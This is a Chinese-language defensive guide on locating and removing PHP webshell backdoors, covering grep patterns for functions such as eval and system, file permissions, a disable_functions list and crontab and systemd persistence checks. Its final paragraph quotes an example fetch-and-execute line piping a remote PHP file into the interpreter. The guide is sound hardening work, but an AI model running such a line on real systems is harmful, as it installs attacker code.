PHP后门是攻击者上传的绕过权限执行代码的脚本,常见于shell.php、.jpg.php等伪装文件及.htaccess中;需用find+grep筛查敏感函数,删除前须停服务、查属主权限并加固可写目录,同时检查disable_functions、crontab和systemd定时任务。

确认 PHP 后门文件的存在位置和特征
PHP 后门不是一种固定文件,而是攻击者上传的、能绕过正常权限执行任意代码的脚本,常见命名如 shell.php、1.php、wp-admin-ajax.php(仿官方路径)、.htaccess 中嵌入的 php_value auto_prepend_file 指令等。不要只盯着 .php 文件——.jpg.php、config.inc、cache/ 目录下的异常文件都可能是伪装体。
推荐用以下命令快速筛查:
find /var/www -type f -name "*.php" -size -100k -exec grep -l "eval\|base64_decode\|system\|passthru\|exec\|shell_exec\|assert" {} \; 2>/dev/null注意:2>/dev/null 是为了忽略权限拒绝报错;如果服务器禁用了 grep -l 的递归能力,需改用 find ... -exec cat {} \; | grep ... 分步查。
删除后门时务必检查 Web 服务器用户与文件属主关系
直接 rm 文件不一定生效——如果后门是通过 Web 进程(如 www-data、nginx、apache)写入,且目录权限为 777 或属组可写,删完几秒内可能又被重新写入。必须先确认当前 Web 服务运行用户:
立即学习“PHP免费学习笔记(深入)”;
-
ps aux | grep -E "(apache|httpd|nginx|php-fpm)"查进程用户 -
ls -l /var/www/html/看关键目录属主和权限 - 若发现
www-data:www-data拥有整个网站目录,且权限是drwxrwxrwx,这就是高危信号
正确做法是:先停掉 Web 服务(systemctl stop nginx),再用 root 删除可疑文件,最后重设属主和权限。
用 chmod + chown 锁死可写入口点
PHP 后门绝大多数依赖「可写目录」上传,核心防护不是靠杀毒,而是剥夺 Web 进程对非必要路径的写权限。重点处理以下三类:
-
源码目录:如
/var/www/html/,应设为root:www-data属主,权限755(目录)或644(文件),禁止 www-data 写入 -
上传目录:如
/var/www/html/uploads/,可保留www-data:www-data+755,但必须配合open_basedir或 Nginx 的location ~ \.php$ { deny all; }禁止执行 -
日志/缓存目录:如
/var/www/html/wp-content/cache/,允许写,但禁止解析 PHP —— Nginx 配置中加location ~* /cache/.*\.php$ { return 403; }
别忘了检查 php.ini 中的 disable_functions 是否包含 exec,system,passthru,shell_exec,proc_open,popen,否则 chmod 锁死也形同虚设。
检查 crontab 和启动项是否藏有持久化后门
高级后门不止于 Web 目录,还可能通过系统级机制复活。运行以下命令排查:
sudo -u www-data crontab -l 2>/dev/null
sudo crontab -l
systemctl list-timers --all | grep -i php
特别注意:www-data 用户的 crontab 很容易被忽略,而它只要每分钟 curl 一次远程地址并 eval 返回内容,就能自动重建 Web 后门。如果发现异常条目(如调用 /tmp/.X11-unix/ 下的脚本),立刻清除并检查该路径是否被设为 sticky bit 绕过。
Web 目录权限锁得再严,只要定时任务或 systemd service 里藏着 curl http://xxx/sh.php | php,删一百次也没用。











